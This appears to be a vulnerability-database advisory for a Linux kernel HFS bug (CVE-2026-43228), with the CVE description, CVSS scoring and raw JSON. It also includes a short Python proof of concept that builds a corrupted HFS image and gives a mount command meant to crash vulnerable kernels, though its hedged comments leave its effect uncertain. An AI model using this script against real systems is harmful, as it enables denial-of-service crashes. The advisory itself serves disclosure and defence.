Security Vulnerability Report
中文
CVE-2026-43228 CVSS 5.5 MEDIUM

CVE-2026-43228

Published: 2026-05-06 12:16:43
Last Modified: 2026-05-08 21:16:14
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: hfs: Replace BUG_ON with error handling for CNID count checks In a06ec283e125 next_id, folder_count, and file_count in the super block info were expanded to 64 bits, and BUG_ONs were added to detect overflow. This triggered an error reported by syzbot: if the MDB is corrupted, the BUG_ON is triggered. This patch replaces this mechanism with proper error handling and resolves the syzbot reported bug. Singed-off-by: Jori Koolstra <[email protected]>

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (引入commit a06ec283e125之后的版本)
Linux Kernel (修复commit b226804532a8之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-43228: HFS MDB Corruption Trigger # This script creates a malformed HFS image attempting to trigger the kernel crash. import struct import os output_file = "crash_hfs.dmg" # Create a dummy file of size 2MB size = 2 * 1024 * 1024 with open(output_file, "wb") as f: f.write(b'\x00' * size) # Open and write the malformed MDB (Master Directory Block) # The MDB is located at offset 1024 (0x400) # We attempt to corrupt the file_count or folder_count to trigger the 64-bit overflow check/BUG_ON with open(output_file, "r+b") as f: f.seek(1024) # Basic HFS MDB signature (valid header needed to pass initial checks) # Signature 'BD' mdb = struct.pack('>H', 0x4244) f.write(mdb) # Seek to drNmFls (file count) offset within MDB. # In standard HFS, drNmFls is at offset 0x10 (16) from start of MDB. # Total offset = 1024 + 16 = 1040 f.seek(1040) # Write a large value that might trigger the logic when expanded to 64bit or checked against limits # Writing 0xFFFFFFFF to simulate potential overflow/corruption scenario f.write(struct.pack('>I', 0xFFFFFFFF)) print(f"[+] Malformed HFS image generated: {output_file}") print("[+] Attempt to mount this image on a vulnerable kernel to trigger the panic:") print(f" sudo mount -t hfs -o loop {output_file} /mnt/test")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43228", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:42.710", "lastModified": "2026-05-08T21:16:13.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfs: Replace BUG_ON with error handling for CNID count checks\n\nIn a06ec283e125 next_id, folder_count, and file_count in the super block\ninfo were expanded to 64 bits, and BUG_ONs were added to detect\noverflow. This triggered an error reported by syzbot: if the MDB is\ncorrupted, the BUG_ON is triggered. This patch replaces this mechanism\nwith proper error handling and resolves the syzbot reported bug.\n\nSinged-off-by: Jori Koolstra <[email protected]>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.19.6", "matchCriteriaId": "4B8DEC15-D63A-48FF-9525-4CAB1A20C19D"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/b226804532a875c10276168dc55ce752944096bd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b6536c1ced315fa645576d3a39c6e07f2a472962", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}